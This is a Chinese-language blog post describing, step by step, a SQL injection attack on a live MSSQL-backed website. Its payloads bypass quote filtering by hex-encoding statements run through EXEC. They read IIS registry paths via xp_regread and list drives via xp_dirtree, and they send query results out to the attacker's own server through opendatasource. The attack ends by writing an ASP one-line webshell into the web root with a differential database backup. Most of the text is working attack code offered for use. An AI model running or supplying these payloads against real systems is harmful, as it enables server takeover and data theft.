SQL注入高級技巧

穩萊

我的目的主要是取得網站的目錄,當然了,網站和mssql資料庫在一臺伺服器上,權限DB_owner。

  在某網發現了一個注點,一個'號提示"xxxxxxxxxx'0''出現錯誤 " ,經過初步的分析是把單引號,直接轉換成了0',所以如果用工具肯定注入不了,實踐證明工具不行,但能檢測出來其權限為:DB_owner,手工檢測的方法無非是: and 1=(select is_isvrolemember('sysadmin'))這是簡單檢測系統權限。還好只是對單引號有限制,其它符號沒有限制。不過這一點確實已經夠麻煩的了。
  
 我們的目的是檢測網站資料夾在什麼地方,如果找到的話,直接差異備份資料庫,取得webshell。
  
  首先提取IIS設置初期,網站目錄在註冊表中的位置,然後再暴出來。
  建一個表xy,
;create table xy(xy1 nvarchar(256) null),然後網表裡插入其值,語句如下:
;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into xy (xy1) values(@result)
由於對'單引號的轉換,所以上面的命令肯定成功不了,這時我們可以想到再用declare函數,一開始我的做法為把 'HKEY_LOCAL_MACHINE'和','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots'和'/',這3個資料分別附於3個變量,這樣語句構成為:
;DECLARE @a varchar(255) select @a=0x484b45595f4c4f43414c5f4d414348494e45 DECLARE @b varchar(255) select @b=0x53595354454d5c434f4e54524f4c5365743030315c53657276696365735c57335356435c506172616d65746572735c5669727475616c20526f6f7473 DECLARE @c varchar(255) select @c=0x2f DECLARE @result varchar(255) exec master.dbo.xp_regread @a,@b,@c,@result output insert xy(xy1) values(@result)--

沒想到根本成功不了,我不清楚這個原因,然後去GOGOLE搜索原因,在邪XX討論區裡看到無敵遇到的情況根我一樣,至今還沒有討論出來結果,於是這種方法暫時先放一放,2天以後再得到了一種新方法,也是用declare於一個變量附值,不過這時附的不是某一資料,而是整句。

方法如下:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into xy (xy1) values(@result)
全轉換為16進制為:
0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900
這時用DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C004100520045002000400072006500730075006C00740020007600610072006300680061007200280032003500350029002000450058004500430020006D00610073007400650072002E00640062006F002E00780070005F0072006500670072006500610064002000270048004B00450059005F004C004F00430041004C005F004D0041004300480049004E00450027002C002700530059005300540045004D005C0043006F006E00740072006F006C005300650074003000300031005C00530065007200760069006300650073005C00570033005300560043005C0050006100720061006D00650074006500720073005C005600690072007400750061006C00200052006F006F007400730027002C0027002F0027002C00400072006500730075006C00740020006F0075007400700075007400200069006E007300650072007400200069006E0074006F002000780079002000280078007900310029002000760061006C007500650073002800400072006500730075006C0074002900 AS NVARCHAR(4000));EXEC(@S)
直接執行成功,呵呵,反正沒有用到單引號,這種方法是現在所能想出來的了,也算一點點小小的突破吧。

  把上述語句直接在瀏覽器裡提交,返回正常的頁面,然後用and 1=(selet top 1 xy1 from xy)成功暴出了網站的資料夾為 D:\wwwfuck\,哈哈,懷著僥倖的心理直接在此目錄下差異備份資料庫,失敗!
結論:
1、語句沒有錯誤 
2、目錄有問題。

  於是現在猜一把,就猜網站資料夾在D磁碟,那麼唯一可行的辦法就是一個一個暴資料夾啊~,鬱悶,極其麻煩的事情又要來臨了!
我比較懶,隨後想到的就是SQL裡的opendatasource命令,我機器裝有sql,IP為10.10.10.1,我想把遠程執行sql返回的結果直接插到我自己機器SQL所建的表中,所以這樣比較輕鬆,為了證明是否成功,我先建一個表為ku(id nvarchar(255)),然後遠程提交的格式為:
insert into opendatasource('sqloledb','server=10.10.10.1;uid=sa;pwd=tank!!;database=test').test.dbo.ku select name from master.dbo.sysdatabases
其中test為我自己的資料庫,ku為test資料庫中的表名 如果成功的話,在本機打開ku表,上述語句就會列出遠程伺服器中所有的庫的名稱。
上面的語句有單引號,我們直接轉換為16進制,轉換後用如下語句提交即可:
;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F0020006F00700065006E00640061007400610073006F00750072006300650028002700730071006C006F006C0065006400620027002C0027007300650072007600650072003D003200310031002E00310031002E00310031002E00310031003B007500690064003D00730061003B007000770064003D006600750063006B00210021003B00640061007400610062006100730065003D007400650073007400270029002E0074006500730074002E00640062006F002E006B0075002000730065006C0065006300740020006E0061006D0065002000660072006F006D0020006D00610073007400650072002E00640062006F002E00730079007300640061007400610062006100730065007300 AS NVARCHAR(4000));EXEC(@S);
  直接打開本機資料庫test中的ku表,嘿嘿,成功列出了遠程所有資料庫的名稱。
  下面來返回伺服器上D盤下的資料夾,嘿嘿,為了求速度,我只列一級資料夾。

  建一個表;create table temp(id nvarchar(255),num1 nvarchar(255))--成功
  往表裡插入所有各級數資料夾(一級目錄為D磁碟根資料夾,二級就是下一層,三級依次類推),
語句:
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'D:\'
有單引號,上面的語句肯定不成功,肯定要用declare附值變量,好了,我直接寫語句:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D0070002800690064002C006E0075006D00310029002000650078006500630020006D00610073007400650072002E00640062006F002E00780070005F0064006900720074007200650065002000270044003A005C002700 AS NVARCHAR(4000));EXEC(@S);
那麼現在temp表中,已經有了所有D磁碟的資料夾了,其中num1=1為一級資料夾,num1=2為二級..等等。
好了,我把temp表中一級目錄返回到本機吧
本機建表mulu(name char(255)),遠程語句:
insert into opendatasource('sqloledb','server=10.10.10.1;uid=sa;pwd=tank!!;database=test').test.dbo.mulu select id from temp where num1=1
轉成16進制declare附變量提交,我日~~經過漫長由如死機的時間,失敗了。。。弄不清楚原因。

  既然懶的方法不行,算了,就勤快一些吧!鬱悶!
  上述的temp遠程表中還有資料夾名稱呢,太亂,在遠程直接建個新表:
;create talbe temp1(id nvarchar(4000))--
然後把temp表中一級資料夾名稱插到這裡來,
語句:
;insert into temp1(id) select id from temp where num1=1--
  然後再暴: and 1=(select top 1 id from temp1 where id=1),
提示:xxxxxxxxxxxx'MUbak'轉換為int.....等出錯等訊息,我是不是很懶,連出錯訊息都不複製?明白就行了。
  暴下一個資料夾不可能用 and 1=(select top 1 id from temp1 where id not in('MUbak'))吧?因為裡面有單引號呀,不是上面說可以用declare嗎?錯!這是暴,可不是執行命令呀,不要弄錯!

  抽了一根煙,想了想,還有一個辦法,再把temp1的目錄一層一層地扒下來,把他們傳遞給temp2表,呵呵,肯定要先建表了
;create table temp2(id char(255))--。
  先想明白語句,我把temp1的id下所有的名稱,給於temp2,而且不包括'MUbak'目錄,那麼語句應該是:
insert into temp2(id) select id from temp1 where id not in('MUbak')
呵呵,有單引號,declare!!!,上面語句轉16進制。
語句為:
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x69006E007300650072007400200069006E0074006F002000740065006D007000320028006900640029002000730065006C006500630074002000690064002000660072006F006D002000740065006D007000310020007700680065007200650020006900640020006E006F007400200069006E00280027004D005500620061006B0027002900 AS NVARCHAR(4000));EXEC(@S);
  這時,我在temp2暴表:and 1=(select top 1 id from temp2),提示xxxxxxxxxxxx'wwwbak'轉換為int.....等出錯等訊息。。呵呵,又一個目錄出來了。
  然後刪表temp2表,建temp3表,用上面的訪法循環暴出下一個目錄。
  可能有人問,為什麼要建temp3表,直接刪掉temp2,然後再建temp2再用呀,不過經驗認為,這裡最好新建一個,本人認為是緩存的原因,否則一直用老表,暴錯的訊息為同一個。。。。

  好了,經過漫長的時間,終於找出了網站的目錄為D:\web\www\,下來備份唄。
;create table riri(ri char(255))--
;insert into riri(ri) values(0x3C25657865637574652872657175657374282261222929253E)-- '0x3C25657865637574652872657175657374282261222929253E"為<%execute request("a")%>
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x443a5c7765625c7777775c312e617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT
'0x443a5c7765625c7777775c312e617370為D:\web\www\1.asp
這時成功得在網站目錄備分了一個1.asp,訪問www.xxx.com/1.asp 出現'execute'錯誤,呵呵,一個webshell到手了。
看得很麻煩吧,如果有人做出工具來了就簡單多了,否則累死你~~

 給當前日誌評分:
Loading Vote
正在讀取評分資料...


文章來自: Tank部落格
引用通告: 查看所有引用 | 我要引用此文章
Tags: SQL
相關日誌:

評論: 0 | 引用: 0 | 查看次數: -
發表評論
暱 稱:
密 碼: 遊客發言不需要密碼.
內 容:
驗證碼: 驗證碼
選 項:
雖然發表評論不用註冊,但是為了保護您的發言權,建議您註冊帳號.